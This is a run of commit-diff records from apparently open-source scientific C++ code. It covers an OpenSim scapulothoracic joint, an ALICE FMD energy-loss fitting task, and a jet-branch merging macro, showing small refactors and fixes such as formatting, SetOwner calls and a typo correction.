to the Scapula body frame\n    \/\/Rotation rotation2(BodyRotationSequence, orientation[0], XAxis,\n    \/\/    orientation[1], YAxis, orientation[2], ZAxis);\n    \/\/SimTK::Transform jointInScapula(rotation2, location);\n    MobilizedBody::Weld mobod(\n        simtkMasslessBody2,\n        Transform(),\n        getChildInternalRigidBody(),\n        getChildFrame().findTransformInBaseFrame());\n\n    coordinateIndexForMobility = assignSystemIndicesToBodyAndCoordinates(\n        mobod,\n        &getChildFrame(),\n        0,\n        coordinateIndexForMobility);\n}\n<commit_msg>Reformatted ctor in ScapulothoracicJoint to meet conventions<commit_after>\/* -------------------------------------------------------------------------- *\n *                   OpenSim:  ScapulothoracicJoint.cpp                       *\n * -------------------------------------------------------------------------- *\n * ScapulothoracicJoint is offered as an addition to the OpenSim API          *\n * See http:\/\/opensim.stanford.edu and the NOTICE file for more information.  *\n *                                                                            *\n * OpenSim is developed at Stanford University and is supported by:           *\n *                                                                            *\n * - The National Institutes of Health (U54 GM072970, R24 HD065690)           *\n * - DARPA, through the Warrior Web program                                   *\n * - The Chan Zuckerberg Initiative (CZI 2020-218896)                         *\n *                                                                            *\n * Copyright (c) 2005-2020 Stanford University and the Authors                *\n * Author(s): Ajay Seth                                                       *\n *                                                                            *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may    *\n * not use this file except in compliance with the License. You may obtain a  *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0.         *\n *                                                                            *\n * Unless required by applicable law or agreed to in writing, software        *\n * distributed under the License is distributed on an \"AS IS\" BASIS,          *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   *\n * See the License for the specific language governing permissions and        *\n * limitations under the License.                                             *\n * -------------------------------------------------------------------------- *\/\n\n\n\/\/=============================================================================\n\/\/ INCLUDES\n\/\/=============================================================================\n#include \"ScapulothoracicJoint.h\"\n#include \"simbody\/internal\/SimbodyMatterSubsystem.h\"\n#include \"simbody\/internal\/MobilizedBody_Ellipsoid.h\"\n#include \"simbody\/internal\/MobilizedBody_Pin.h\"\n#include \"simbody\/internal\/MobilizedBody_Weld.h\"\n\/\/=============================================================================\n\/\/ STATICS\n\/\/=============================================================================\nusing namespace OpenSim;\nusing namespace SimTK;\n\/\/=============================================================================\n\/\/ CONSTRUCTOR(S)\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/*\n* Default constructor.\n*\/\nScapulothoracicJoint::ScapulothoracicJoint()\n    : Super()\n{\n    constructProperties();\n}\n\n\/\/_____________________________________________________________________________\n\/*\n * Convenience Constructor.\n *\/\nScapulothoracicJoint::ScapulothoracicJoint(const std::string& name,\n    const PhysicalFrame& parent,\n    const PhysicalFrame& child,\n    const SimTK::Vec3& ellipsoidRadii,\n    SimTK::Vec2 wingingOrigin,\n    double wingingDirection)\n    : Super(name,\n          parent,\n          child)\n{\n    constructProperties();\n    upd_thoracic_ellipsoid_radii_x_y_z() = ellipsoidRadii;\n    upd_scapula_winging_axis_origin(0) = wingingOrigin[0];\n    upd_scapula_winging_axis_origin(1) = wingingOrigin[1];\n    upd_scapula_winging_axis_direction() = wingingDirection;\n}\n\n\/** Convenience constructor *\/\nScapulothoracicJoint::ScapulothoracicJoint(const std::string& name,\n    const PhysicalFrame& parent,\n    const SimTK::Vec3& locationInParent,\n    const SimTK::Vec3& orientationInParent,\n    const PhysicalFrame& child,\n    const SimTK::Vec3& locationInChild,\n    const SimTK::Vec3& orientationInChild,\n    const SimTK::Vec3& ellipsoidRadii,\n    SimTK::Vec2 wingingOrigin,\n    double wingingDirection)\n    : Super(name,\n          parent,\n          locationInParent,\n          orientationInParent,\n          child,\n          locationInChild,\n          orientationInChild)\n{\n    constructProperties();\n    upd_thoracic_ellipsoid_radii_x_y_z() = ellipsoidRadii;\n    upd_scapula_winging_axis_origin(0) = wingingOrigin[0];\n    upd_scapula_winging_axis_origin(1) = wingingOrigin[1];\n    upd_scapula_winging_axis_direction() = wingingDirection;\n}\n\n\/\/=============================================================================\n\/\/ CONSTRUCTION\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n * Construct properties with their default values.\n *\/\nvoid ScapulothoracicJoint::constructProperties()\n{\n    setAuthors(\"Ajay Seth\");\n    constructProperty_thoracic_ellipsoid_radii_x_y_z(Vec3(NaN));\n    constructProperty_scapula_winging_axis_origin(Vector(2, 0.0));\n    constructProperty_scapula_winging_axis_direction(0.0);\n}\n\n\n\/\/=============================================================================\n\/\/ SCALING\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\n\/**\n* Scale a joint based on XYZ scale factors for the bodies.\n*\n* @param aScaleSet Set of XYZ scale factors for the bodies.\n* @todo Need to scale transforms appropriately, given an arbitrary axis.\n*\/\nvoid ScapulothoracicJoint::extendScale(const SimTK::State& s,\n                                       const ScaleSet& scaleSet)\n{\n    \/\/ Joint knows how to scale locations of the joint in parent and on the body\n    Super::extendScale(s, scaleSet);\n\n    const std::string& parentName = getParentFrame().getName();\n\n    \/\/ Scaling related to the parent body:\n    \/\/\n    \/\/ Joint kinematics are scaled by the scale factors for the parent body,\n    \/\/ so get those body's factors\n    Vec3 scaleFactors(1.0);\n    for (int i = 0; i < scaleSet.getSize(); i++) {\n        const Scale &scale = scaleSet.get(i);\n\n        if (scale.getSegmentName() == parentName) {\n            scale.getScaleFactors(scaleFactors);\n            break;\n        }\n    }\n\n    \/\/ Scale the size of the mobilizer\n    for (int i=0; i<3; i++) {\n        upd_thoracic_ellipsoid_radii_x_y_z()[i] *= scaleFactors[i];\n    }\n}\n\n\/\/=============================================================================\n\/\/ Simbody Model building.\n\/\/=============================================================================\n\/\/_____________________________________________________________________________\nvoid ScapulothoracicJoint::extendAddToSystem(SimTK::MultibodySystem& system) const\n{\n    Super::extendAddToSystem(system);\n\n    \/\/ Transform for ellipsoid joint frame in intermediate Scapula massless\n    \/\/ body frame.\n    \/\/\n    \/\/ Oriented such that intermediate frame is aligned with scapula joint\n    \/\/ frame with respect to the scapula body frame as user specified by\n    \/\/ _location and _orientation\n    Transform ellipsoidJointFrameInIntermediate{\n        Rotation{\n            BodyRotationSequence,\n            0, XAxis,\n            0, YAxis,\n            Pi\/2,\n            ZAxis},\n        Vec3(0.0)};\n\n    \/\/ Transform for Ellipsoid in parent body (Thorax).\n    \/\/\n    \/\/ Note: Ellipsoid rotated Pi\/2 w.r.t. parent (i.e. Thorax) so that\n    \/\/       abduction and elevation are positive.\n    Transform ellipsoidJointFrameInThorax = [&](){\n        Transform parentTransform = getParentFrame().findTransformInBaseFrame();\n\n        const Vec3 orientationInParent =\n            parentTransform.R().convertRotationToBodyFixedXYZ();\n\n        return Transform{\n            Rotation{\n                BodyRotationSequence,\n                orientationInParent[0], XAxis,\n                orientationInParent[1], YAxis,\n                orientationInParent[2] + Pi\/2,\n                ZAxis},\n            parentTransform.p()};\n    }();\n\n    \/\/ careful: this is both an in-param and an out-param below\n    int coordinateIndexForMobility = 0;\n\n    \/\/ Create mobilized body.\n    \/\/\n    \/\/ Ellipsoid is rotated Pi\/2 for desired rotations, but user's still wants\n    \/\/ to define Ellipsoid shape w.r.t thorax.\n    \/\/\n    \/\/ Swap ellipsoidRadii X,Y,Z in Thorax body frame to Y, X, Z in rotated\n    \/\/ joint frame in parent.\n    MobilizedBody::Ellipsoid simtkMasslessBody1 = [&]() {\n        const SimTK::MobilizedBodyIndex& parentMobodIndex =\n            getParentFrame().getMobilizedBodyIndex();\n\n        MobilizedBody& parentMobod =\n            system.updMatterSubsystem().updMobilizedBody(parentMobodIndex);\n\n        auto mobod = createMobilizedBody<MobilizedBody::Ellipsoid>(\n            parentMobod,\n            ellipsoidJointFrameInThorax,\n            SimTK::Body::Massless(),\n            ellipsoidJointFrameInIntermediate,\n            coordinateIndexForMobility);\n\n        \/\/ swizzle radii coordinates appropriately\n        Vec3 ellipsoidRadii{\n            get_thoracic_ellipsoid_radii_x_y_z()[1],\n            get_thoracic_ellipsoid_radii_x_y_z()[0],\n            get_thoracic_ellipsoid_radii_x_y_z()[2]};\n        mobod.setDefaultRadii(ellipsoidRadii);\n\n        return mobod;\n    }();\n\n    MobilizedBody::Pin simtkMasslessBody2 = [&]() {\n        \/\/ get unit vector version of direction in the scapula joint frame of\n        \/\/ the Ellipsoid, where:\n        \/\/\n        \/\/ - the joint Z-axis is normal to the ellipsoid surface\n        \/\/ - the joint X-axis is in the direction of abduction\n        \/\/ - the joint Y-axis is elevation in the neutral position\n        \/\/\n        \/\/ winging is orthogonal to upward rotation (about Z) with axis in\n        \/\/ XY-plane winging direction for 0 is aligned with intermediate frame\n        \/\/ Y and rotates counterclockwise with increasing angles.\n        const double wingDirection = get_scapula_winging_axis_direction();\n        SimTK::UnitVec3 dir(\n            -sin(wingDirection),\n            cos(wingDirection),\n            0);\n\n        \/\/ Find rotation that aligns z-axis of pin mobilizer frame to winging\n        \/\/ axis. This is in the scapula-ellipsoid (massless body) frame.\n        SimTK::Rotation wingOrientationInIntermediateFrame(dir, ZAxis);\n\n        \/\/ origin of the winging axis w.r.t to the scapula joint frame of the\n        \/\/ ellipsoid\n        SimTK::Vec3 wingOriginInIntermediateFrame(\n            get_scapula_winging_axis_origin(0),\n            get_scapula_winging_axis_origin(1),\n            0);\n\n        \/\/ winging joint transform in the scapula ellipsoid joint frame\n        SimTK::Transform wingingInIntermediateFrame(\n            wingOrientationInIntermediateFrame,\n            wingOriginInIntermediateFrame);\n\n        return createMobilizedBody<MobilizedBody::Pin>(\n            simtkMasslessBody1,\n            wingingInIntermediateFrame,\n            SimTK::Body::Massless(),\n            wingingInIntermediateFrame,\n            coordinateIndexForMobility);\n    }();\n\n    \/\/ Define the scapular joint frame in w.r.t to the Scapula body frame\n    \/\/Rotation rotation2(BodyRotationSequence, orientation[0], XAxis,\n    \/\/    orientation[1], YAxis, orientation[2], ZAxis);\n    \/\/SimTK::Transform jointInScapula(rotation2, location);\n    MobilizedBody::Weld mobod(\n        simtkMasslessBody2,\n        Transform(),\n        getChildInternalRigidBody(),\n        getChildFrame().findTransformInBaseFrame());\n\n    coordinateIndexForMobility = assignSystemIndicesToBodyAndCoordinates(\n        mobod,\n        &getChildFrame(),\n        0,\n        coordinateIndexForMobility);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ \n\/\/ Histogram and fit the energy loss distributions for the FMD\n\/\/ \n\/\/ Inputs: \n\/\/   - AliESDEvent \n\/\/\n\/\/ Outputs: \n\/\/   - None\n\/\/ \n\/\/ Histograms:\n\/\/   \n\/\/ Corrections used:\n\/\/   - None\n\/\/ \n\/\/ \n\/\/\n#include \"AliFMDEnergyFitterTask.h\"\n#include \"AliLog.h\"\n#include \"AliESDEvent.h\"\n#include \"AliAODForwardMult.h\"\n#include \"AliForwardCorrectionManager.h\"\n#include \"AliAnalysisManager.h\"\n#include \"AliAnalysisDataSlot.h\"\n#include \"AliAnalysisDataContainer.h\"\n#include <TH1.h>\n#include <TDirectory.h>\n#include <TTree.h>\n#include <TFile.h>\n#include \"AliMCEvent.h\"\n#include \"AliGenHijingEventHeader.h\"\n#include \"AliHeader.h\"\n#include <iostream>\n\n\/\/====================================================================\nAliFMDEnergyFitterTask::AliFMDEnergyFitterTask()\n  : AliAnalysisTaskSE(),\n    fFirstEvent(true),\n    fEventInspector(),\n    fEnergyFitter(),\n    fList(0),\n    fbLow(0),\n    fbHigh(100)\n{\n  \/\/ \n  \/\/ Constructor\n  \/\/\n}\n\n\/\/____________________________________________________________________\nAliFMDEnergyFitterTask::AliFMDEnergyFitterTask(const char* name)\n  : AliAnalysisTaskSE(name), \n    fFirstEvent(true),\n    fEventInspector(\"event\"),\n    fEnergyFitter(\"energy\"),\n    fList(0),\n    fbLow(0),\n    fbHigh(100)\n{\n  \/\/ \n  \/\/ Constructor \n  \/\/ \n  \/\/ Parameters:\n  \/\/    name Name of task \n  \/\/\n  DefineOutput(1, TList::Class());\n  DefineOutput(2, TList::Class());\n}\n\n\/\/____________________________________________________________________\nAliFMDEnergyFitterTask::AliFMDEnergyFitterTask(const AliFMDEnergyFitterTask& o)\n  : AliAnalysisTaskSE(o),\n    fFirstEvent(o.fFirstEvent),\n    fEventInspector(o.fEventInspector),\n    fEnergyFitter(o.fEnergyFitter),\n    fList(o.fList),\n    fbLow(o.fbLow),\n    fbHigh(o.fbHigh)\n{\n  \/\/ \n  \/\/ Copy constructor \n  \/\/ \n  \/\/ Parameters:\n  \/\/    o Object to copy from \n  \/\/\n  DefineOutput(1, TList::Class());\n  DefineOutput(2, TList::Class());\n}\n\n\/\/____________________________________________________________________\nAliFMDEnergyFitterTask&\nAliFMDEnergyFitterTask::operator=(const AliFMDEnergyFitterTask& o)\n{\n  \/\/ \n  \/\/ Assignment operator \n  \/\/ \n  \/\/ Parameters:\n  \/\/    o Object to assign from \n  \/\/ \n  \/\/ Return:\n  \/\/    Reference to this object \n  \/\/\n  AliAnalysisTaskSE::operator=(o);\n\n  fFirstEvent        = o.fFirstEvent;\n  fEventInspector    = o.fEventInspector;\n  fEnergyFitter      = o.fEnergyFitter;\n  fList              = o.fList;\n  fbLow              = o.fbLow;\n  fbHigh             = o.fbHigh;\n\n  return *this;\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::SetDebug(Int_t dbg)\n{\n  \/\/ \n  \/\/ Set the debug level \n  \/\/ \n  \/\/ Parameters:\n  \/\/    dbg Debug level\n  \/\/\n  fEventInspector.SetDebug(dbg);\n  fEnergyFitter.SetDebug(dbg);\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::Init()\n{\n  \/\/ \n  \/\/ Initialize the task \n  \/\/ \n  \/\/\n  fFirstEvent = true;\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::InitializeSubs()\n{\n  \/\/ \n  \/\/ Initialise the sub objects and stuff.  Called on first event \n  \/\/ \n  \/\/\n  AliForwardCorrectionManager& fcm = AliForwardCorrectionManager::Instance();\n  fcm.Init(fEventInspector.GetCollisionSystem(), \n\t   fEventInspector.GetEnergy(),\n\t   fEventInspector.GetField(), 0);\n  TAxis eAxis(0,0,0);\n  TAxis vAxis(10,-10,10);\n  fEnergyFitter.Init(eAxis);\n  fEventInspector.Init(vAxis);\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::UserCreateOutputObjects()\n{\n  \/\/ \n  \/\/ Create output objects \n  \/\/ \n  \/\/\n  fList = new TList;\n\n  fEventInspector.DefineOutput(fList);\n  fEnergyFitter.DefineOutput(fList);\n\n  PostData(1, fList);\n}\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::UserExec(Option_t*)\n{\n  \/\/ \n  \/\/ Process each event \n  \/\/ \n  \/\/ Parameters:\n  \/\/    option Not used\n  \/\/  \n\n  \/\/ static Int_t cnt = 0;\n  \/\/ cnt++;\n  \/\/ Get the input data \n  \n  AliMCEvent* mcevent = MCEvent();\n  if(mcevent) {\n    AliHeader* header            = mcevent->Header();\n    AliGenHijingEventHeader* hijingHeader = \n      dynamic_cast<AliGenHijingEventHeader*>(header->GenEventHeader());\n    if(hijingHeader) {\n      Float_t b = hijingHeader->ImpactParameter();\n      if(b<fbLow || b>fbHigh) return;\n      else\n\tstd::cout<<\"Selecting event with impact parameter \"<<b<<std::endl;\n    }\n    \n  }\n  \n  AliESDEvent* esd = dynamic_cast<AliESDEvent*>(InputEvent());\n  \/\/ AliInfo(Form(\"Event # %6d (esd=%p)\", cnt, esd));\n  if (!esd) { \n    AliWarning(\"No ESD event found for input event\");\n    return;\n  }\n\n  \/\/ On the first event, initialize the parameters \n  if (fFirstEvent && esd->GetESDRun()) { \n    fEventInspector.ReadRunDetails(esd);\n    \n    AliInfo(Form(\"Initializing with parameters from the ESD:\\n\"\n\t\t \"         AliESDEvent::GetBeamEnergy()   ->%f\\n\"\n\t\t \"         AliESDEvent::GetBeamType()     ->%s\\n\"\n\t\t \"         AliESDEvent::GetCurrentL3()    ->%f\\n\"\n\t\t \"         AliESDEvent::GetMagneticField()->%f\\n\"\n\t\t \"         AliESDEvent::GetRunNumber()    ->%d\\n\",\n\t\t esd->GetBeamEnergy(), \n\t\t esd->GetBeamType(),\n\t\t esd->GetCurrentL3(), \n\t\t esd->GetMagneticField(),\n\t\t esd->GetRunNumber()));\n\n\t      \n\n    \/\/ AliFMDAnaParameters* pars = AliFMDAnaParameters::Instance();\n    \/\/ pars->SetParametersFromESD(esd);\n    \/\/ pars->PrintStatus();\n    fFirstEvent = false;\n\n    InitializeSubs();\n  }\n  Bool_t   lowFlux   = kFALSE;\n  UInt_t   triggers  = 0;\n  UShort_t ivz       = 0;\n  Double_t vz        = 0;\n  Double_t cent      = 0;\n  UShort_t nClusters = 0;\n  UInt_t   found     = fEventInspector.Process(esd, triggers, lowFlux, \n\t\t\t\t\t       ivz, vz, cent, nClusters);\n  if (found & AliFMDEventInspector::kNoEvent)    return;\n  if (found & AliFMDEventInspector::kNoTriggers) return;\n  if (found & AliFMDEventInspector::kNoSPD)     return;\n  if (found & AliFMDEventInspector::kNoFMD)     return;\n  if (found & AliFMDEventInspector::kNoVertex)  return;\n  if (found & AliFMDEventInspector::kBadVertex) return;\n  \n  \/\/  if(cent > 0) {\n  \/\/  if( cent < 40 || cent >50 ) return;\n  \/\/  else std::cout<<\"selecting event with cent \"<<cent<<std::endl;\n  \/\/ }\n  \n  \/\/ Get FMD data \n  AliESDFMD* esdFMD = esd->GetFMDData();\n  \/\/ Do the energy stuff \n  if (!fEnergyFitter.Accumulate(*esdFMD, cent, \n\t\t\t\ttriggers & AliAODForwardMult::kEmpty)){\n    AliWarning(\"Energy fitter failed\");\n    return;\n  }\n  PostData(1, fList);\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::Terminate(Option_t*)\n{\n  \/\/ \n  \/\/ End of job\n  \/\/ \n  \/\/ Parameters:\n  \/\/    option Not used \n  \/\/\n  AliInfo(Form(\"Running terminate of %s\", GetName()));\n  TList* list = dynamic_cast<TList*>(GetOutputData(1));\n  if (!list) {\n    AliError(Form(\"No output list defined (%p)\", GetOutputData(1)));\n    if (GetOutputData(1)) GetOutputData(1)->Print();\n    return;\n  }\n  \n  AliInfo(\"Fitting energy loss spectra\");\n  fEnergyFitter.Fit(list);\n\n  \/\/ Make a deep copy and post that as output 2 \n  TList* list2 = static_cast<TList*>(list->Clone(Form(\"%sResults\", \n\t\t\t\t\t\t      list->GetName())));\n  PostData(2, list2);\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::Print(Option_t*) const\n{\n  \/\/ \n  \/\/ Print information \n  \/\/ \n  \/\/ Parameters:\n  \/\/    option Not used\n  \/\/\n}\n\n\/\/\n\/\/ EOF\n\/\/\n<commit_msg>Do a SetOwner on output lists<commit_after>\/\/ \n\/\/ Histogram and fit the energy loss distributions for the FMD\n\/\/ \n\/\/ Inputs: \n\/\/   - AliESDEvent \n\/\/\n\/\/ Outputs: \n\/\/   - None\n\/\/ \n\/\/ Histograms:\n\/\/   \n\/\/ Corrections used:\n\/\/   - None\n\/\/ \n\/\/ \n\/\/\n#include \"AliFMDEnergyFitterTask.h\"\n#include \"AliLog.h\"\n#include \"AliESDEvent.h\"\n#include \"AliAODForwardMult.h\"\n#include \"AliForwardCorrectionManager.h\"\n#include \"AliAnalysisManager.h\"\n#include \"AliAnalysisDataSlot.h\"\n#include \"AliAnalysisDataContainer.h\"\n#include <TH1.h>\n#include <TDirectory.h>\n#include <TTree.h>\n#include <TFile.h>\n#include \"AliMCEvent.h\"\n#include \"AliGenHijingEventHeader.h\"\n#include \"AliHeader.h\"\n#include <iostream>\n\n\/\/====================================================================\nAliFMDEnergyFitterTask::AliFMDEnergyFitterTask()\n  : AliAnalysisTaskSE(),\n    fFirstEvent(true),\n    fEventInspector(),\n    fEnergyFitter(),\n    fList(0),\n    fbLow(0),\n    fbHigh(100)\n{\n  \/\/ \n  \/\/ Constructor\n  \/\/\n}\n\n\/\/____________________________________________________________________\nAliFMDEnergyFitterTask::AliFMDEnergyFitterTask(const char* name)\n  : AliAnalysisTaskSE(name), \n    fFirstEvent(true),\n    fEventInspector(\"event\"),\n    fEnergyFitter(\"energy\"),\n    fList(0),\n    fbLow(0),\n    fbHigh(100)\n{\n  \/\/ \n  \/\/ Constructor \n  \/\/ \n  \/\/ Parameters:\n  \/\/    name Name of task \n  \/\/\n  DefineOutput(1, TList::Class());\n  DefineOutput(2, TList::Class());\n}\n\n\/\/____________________________________________________________________\nAliFMDEnergyFitterTask::AliFMDEnergyFitterTask(const AliFMDEnergyFitterTask& o)\n  : AliAnalysisTaskSE(o),\n    fFirstEvent(o.fFirstEvent),\n    fEventInspector(o.fEventInspector),\n    fEnergyFitter(o.fEnergyFitter),\n    fList(o.fList),\n    fbLow(o.fbLow),\n    fbHigh(o.fbHigh)\n{\n  \/\/ \n  \/\/ Copy constructor \n  \/\/ \n  \/\/ Parameters:\n  \/\/    o Object to copy from \n  \/\/\n  DefineOutput(1, TList::Class());\n  DefineOutput(2, TList::Class());\n}\n\n\/\/____________________________________________________________________\nAliFMDEnergyFitterTask&\nAliFMDEnergyFitterTask::operator=(const AliFMDEnergyFitterTask& o)\n{\n  \/\/ \n  \/\/ Assignment operator \n  \/\/ \n  \/\/ Parameters:\n  \/\/    o Object to assign from \n  \/\/ \n  \/\/ Return:\n  \/\/    Reference to this object \n  \/\/\n  AliAnalysisTaskSE::operator=(o);\n\n  fFirstEvent        = o.fFirstEvent;\n  fEventInspector    = o.fEventInspector;\n  fEnergyFitter      = o.fEnergyFitter;\n  fList              = o.fList;\n  fbLow              = o.fbLow;\n  fbHigh             = o.fbHigh;\n\n  return *this;\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::SetDebug(Int_t dbg)\n{\n  \/\/ \n  \/\/ Set the debug level \n  \/\/ \n  \/\/ Parameters:\n  \/\/    dbg Debug level\n  \/\/\n  fEventInspector.SetDebug(dbg);\n  fEnergyFitter.SetDebug(dbg);\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::Init()\n{\n  \/\/ \n  \/\/ Initialize the task \n  \/\/ \n  \/\/\n  fFirstEvent = true;\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::InitializeSubs()\n{\n  \/\/ \n  \/\/ Initialise the sub objects and stuff.  Called on first event \n  \/\/ \n  \/\/\n  AliForwardCorrectionManager& fcm = AliForwardCorrectionManager::Instance();\n  fcm.Init(fEventInspector.GetCollisionSystem(), \n\t   fEventInspector.GetEnergy(),\n\t   fEventInspector.GetField(), 0);\n  TAxis eAxis(0,0,0);\n  TAxis vAxis(10,-10,10);\n  fEnergyFitter.Init(eAxis);\n  fEventInspector.Init(vAxis);\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::UserCreateOutputObjects()\n{\n  \/\/ \n  \/\/ Create output objects \n  \/\/ \n  \/\/\n  fList = new TList;\n  fList->SetOwner();\n\n  fEventInspector.DefineOutput(fList);\n  fEnergyFitter.DefineOutput(fList);\n\n  PostData(1, fList);\n}\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::UserExec(Option_t*)\n{\n  \/\/ \n  \/\/ Process each event \n  \/\/ \n  \/\/ Parameters:\n  \/\/    option Not used\n  \/\/  \n\n  \/\/ static Int_t cnt = 0;\n  \/\/ cnt++;\n  \/\/ Get the input data \n  \n  AliMCEvent* mcevent = MCEvent();\n  if(mcevent) {\n    AliHeader* header            = mcevent->Header();\n    AliGenHijingEventHeader* hijingHeader = \n      dynamic_cast<AliGenHijingEventHeader*>(header->GenEventHeader());\n    if(hijingHeader) {\n      Float_t b = hijingHeader->ImpactParameter();\n      if(b<fbLow || b>fbHigh) return;\n      else\n\tstd::cout<<\"Selecting event with impact parameter \"<<b<<std::endl;\n    }\n    \n  }\n  \n  AliESDEvent* esd = dynamic_cast<AliESDEvent*>(InputEvent());\n  \/\/ AliInfo(Form(\"Event # %6d (esd=%p)\", cnt, esd));\n  if (!esd) { \n    AliWarning(\"No ESD event found for input event\");\n    return;\n  }\n\n  \/\/ On the first event, initialize the parameters \n  if (fFirstEvent && esd->GetESDRun()) { \n    fEventInspector.ReadRunDetails(esd);\n    \n    AliInfo(Form(\"Initializing with parameters from the ESD:\\n\"\n\t\t \"         AliESDEvent::GetBeamEnergy()   ->%f\\n\"\n\t\t \"         AliESDEvent::GetBeamType()     ->%s\\n\"\n\t\t \"         AliESDEvent::GetCurrentL3()    ->%f\\n\"\n\t\t \"         AliESDEvent::GetMagneticField()->%f\\n\"\n\t\t \"         AliESDEvent::GetRunNumber()    ->%d\\n\",\n\t\t esd->GetBeamEnergy(), \n\t\t esd->GetBeamType(),\n\t\t esd->GetCurrentL3(), \n\t\t esd->GetMagneticField(),\n\t\t esd->GetRunNumber()));\n\n\t      \n\n    \/\/ AliFMDAnaParameters* pars = AliFMDAnaParameters::Instance();\n    \/\/ pars->SetParametersFromESD(esd);\n    \/\/ pars->PrintStatus();\n    fFirstEvent = false;\n\n    InitializeSubs();\n  }\n  Bool_t   lowFlux   = kFALSE;\n  UInt_t   triggers  = 0;\n  UShort_t ivz       = 0;\n  Double_t vz        = 0;\n  Double_t cent      = 0;\n  UShort_t nClusters = 0;\n  UInt_t   found     = fEventInspector.Process(esd, triggers, lowFlux, \n\t\t\t\t\t       ivz, vz, cent, nClusters);\n  if (found & AliFMDEventInspector::kNoEvent)    return;\n  if (found & AliFMDEventInspector::kNoTriggers) return;\n  if (found & AliFMDEventInspector::kNoSPD)     return;\n  if (found & AliFMDEventInspector::kNoFMD)     return;\n  if (found & AliFMDEventInspector::kNoVertex)  return;\n  if (found & AliFMDEventInspector::kBadVertex) return;\n  \n  \/\/  if(cent > 0) {\n  \/\/  if( cent < 40 || cent >50 ) return;\n  \/\/  else std::cout<<\"selecting event with cent \"<<cent<<std::endl;\n  \/\/ }\n  \n  \/\/ Get FMD data \n  AliESDFMD* esdFMD = esd->GetFMDData();\n  \/\/ Do the energy stuff \n  if (!fEnergyFitter.Accumulate(*esdFMD, cent, \n\t\t\t\ttriggers & AliAODForwardMult::kEmpty)){\n    AliWarning(\"Energy fitter failed\");\n    return;\n  }\n  PostData(1, fList);\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::Terminate(Option_t*)\n{\n  \/\/ \n  \/\/ End of job\n  \/\/ \n  \/\/ Parameters:\n  \/\/    option Not used \n  \/\/\n  AliInfo(Form(\"Running terminate of %s\", GetName()));\n  TList* list = dynamic_cast<TList*>(GetOutputData(1));\n  if (!list) {\n    AliError(Form(\"No output list defined (%p)\", GetOutputData(1)));\n    if (GetOutputData(1)) GetOutputData(1)->Print();\n    return;\n  }\n  \n  AliInfo(\"Fitting energy loss spectra\");\n  fEnergyFitter.Fit(list);\n\n  \/\/ Make a deep copy and post that as output 2 \n  TList* list2 = static_cast<TList*>(list->Clone(Form(\"%sResults\", \n\t\t\t\t\t\t      list->GetName())));\n  list2->SetOwner();\n  PostData(2, list2);\n}\n\n\/\/____________________________________________________________________\nvoid\nAliFMDEnergyFitterTask::Print(Option_t*) const\n{\n  \/\/ \n  \/\/ Print information \n  \/\/ \n  \/\/ Parameters:\n  \/\/    option Not used\n  \/\/\n}\n\n\/\/\n\/\/ EOF\n\/\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ $Id$\n\nAliJetModelMergeBranches* AddTaskMergeBrances(\n  const char     *tracksName1   = \"Tracks\",\n  const char     *tracksName2   = \"Tracks2\",\n  const char     *suffix        = \"Emb\",\n  const char     *taskName      = \"JetModelMergeBranches\"\n)\n{  \n  \/\/ Get the pointer to the existing analysis manager via the static access method.\n  \/\/==============================================================================\n  AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n  if (!mgr)\n  {\n    ::Error(\"AddTaskMergeBranches\", \"No analysis manager to connect to.\");\n    return NULL;\n  }  \n  \n  \/\/ Check the analysis type using the event handlers connected to the analysis manager.\n  \/\/==============================================================================\n  if (!mgr->GetInputEventHandler())\n  {\n    ::Error(\"AddTaskMergeBranches\", \"This task requires an input event handler\");\n    return NULL;\n  }\n  \n  \/\/-------------------------------------------------------\n  \/\/ Init the task and do settings\n  \/\/-------------------------------------------------------\n\n  AliJetModelMergeBranches *jetMerge = new AliJetModelMergeBranches(taskName);\n  jetMerge->SetTracksName(tracksName1);\n  jetMerge->SetTracksMergeName(tracksName2);\n  jetMerge->SetClusName(\"\");\n  jetMerge->SetSuffix(suffix);\n\n  \/\/-------------------------------------------------------\n  \/\/ Final settings, pass to manager and set the containers\n  \/\/-------------------------------------------------------\n\n  mgr->AddTask(jetMerge);\n    \n  \/\/ Create containers for input\/output\n  mgr->ConnectInput (jetMerge, 0, mgr->GetCommonInputContainer() );\n\n  return jetMerge;\n}\n<commit_msg>correct typo<commit_after>\/\/ $Id$\n\nAliJetModelMergeBranches* AddTaskMergeBranches(\n  const char     *tracksName1   = \"Tracks\",\n  const char     *tracksName2   = \"Tracks2\",\n  const char     *suffix        = \"Emb\",\n  const char     *taskName      = \"JetModelMergeBranches\"\n)\n{  \n  \/\/ Get the pointer to the existing analysis manager via the static access method.\n  \/\/==============================================================================\n  AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n  if (!mgr)\n  {\n    ::Error(\"AddTaskMergeBranches\", \"No analysis manager to connect to.\");\n    return NULL;\n  }  \n  \n  \/\/ Check the analysis type using the event handlers connected to the analysis manager.\n  \/\/==============================================================================\n  if (!mgr->GetInputEventHandler())\n  {\n    ::Error(\"AddTaskMergeBranches\", \"This task requires an input event handler\");\n    return NULL;\n  }\n  \n  